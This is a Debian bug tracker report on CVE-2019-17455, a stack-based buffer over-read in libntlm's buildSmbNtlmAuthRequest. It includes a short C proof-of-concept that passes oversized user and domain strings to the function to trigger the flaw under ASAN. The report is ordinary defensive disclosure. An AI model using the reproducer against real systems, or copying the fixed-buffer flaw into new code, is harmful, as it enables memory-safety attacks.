libntlm: CVE-2019-17455

Related Vulnerabilities: CVE-2019-17455  

Debian Bug report logs - #942145
libntlm: CVE-2019-17455

version graph

Reported by: Salvatore Bonaccorso <carnil@debian.org>

Date: Thu, 10 Oct 2019 20:33:01 UTC

Severity: important

Tags: security, upstream

Found in versions libntlm/1.5-1, libntlm/1.5-2

Forwarded to https://gitlab.com/jas/libntlm/issues/2

Reply or subscribe to this bug.

Toggle useless messages

View this report as an mbox folder, status mbox, maintainer mbox


Report forwarded to debian-bugs-dist@lists.debian.org, carnil@debian.org, team@security.debian.org, team@security.debian.org, Debian Authentication Maintainers <pkg-auth-maintainers@lists.alioth.debian.org>:
Bug#942145; Package src:libntlm. (Thu, 10 Oct 2019 20:33:04 GMT) (full text, mbox, link).


Acknowledgement sent to Salvatore Bonaccorso <carnil@debian.org>:
New Bug report received and forwarded. Copy sent to carnil@debian.org, team@security.debian.org, team@security.debian.org, Debian Authentication Maintainers <pkg-auth-maintainers@lists.alioth.debian.org>. (Thu, 10 Oct 2019 20:33:04 GMT) (full text, mbox, link).


Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>
To: Debian Bug Tracking System <submit@bugs.debian.org>
Subject: libntlm: CVE-2019-17455
Date: Thu, 10 Oct 2019 22:30:28 +0200
Source: libntlm
Version: 1.5-2
Severity: important
Tags: security upstream
Forwarded: https://gitlab.com/jas/libntlm/issues/2
Control: found -1 1.5-1

Hi,

The following vulnerability was published for libntlm.

CVE-2019-17455[0]:
| Libntlm through 1.5 relies on a fixed buffer size for
| tSmbNtlmAuthRequest, tSmbNtlmAuthChallenge, and tSmbNtlmAuthResponse
| read and write operations, as demonstrated by a stack-based buffer
| over-read in buildSmbNtlmAuthRequest in smbutil.c for a crafted NTLM
| request.


If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2019-17455
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17455
[1] https://gitlab.com/jas/libntlm/issues/2

Please adjust the affected versions in the BTS as needed.

Reproducer for the issue:

,---- [ poc.c ]
| #include<ntlm.h>
| #include<stdio.h>
| #include<stdlib.h>
| #include<string.h>
| extern void  buildSmbNtlmAuthRequest(tSmbNtlmAuthRequest * request, const char *user, const char *domain);
| int main (void)
| {
|   char user[1024];
|   char domain[1024];
|   memset(user,'a',1024);
|   memset(domain,'b',1024);
|   tSmbNtlmAuthRequest request;
|   tSmbNtlmAuthChallenge challenge;
|   tSmbNtlmAuthResponse response;
|   buildSmbNtlmAuthRequest (&request, user, domain);
|   return 0;
| }
`----

(copile with ASAN to verify the issue).

Regards,
Salvatore



Marked as found in versions libntlm/1.5-1. Request was from Salvatore Bonaccorso <carnil@debian.org> to submit@bugs.debian.org. (Thu, 10 Oct 2019 20:33:04 GMT) (full text, mbox, link).


Send a report that this bug log contains spam.


Debian bug tracking system administrator <owner@bugs.debian.org>. Last modified: Fri Oct 11 16:47:31 2019; Machine Name: beach

Debian Bug tracking system

Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.

Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.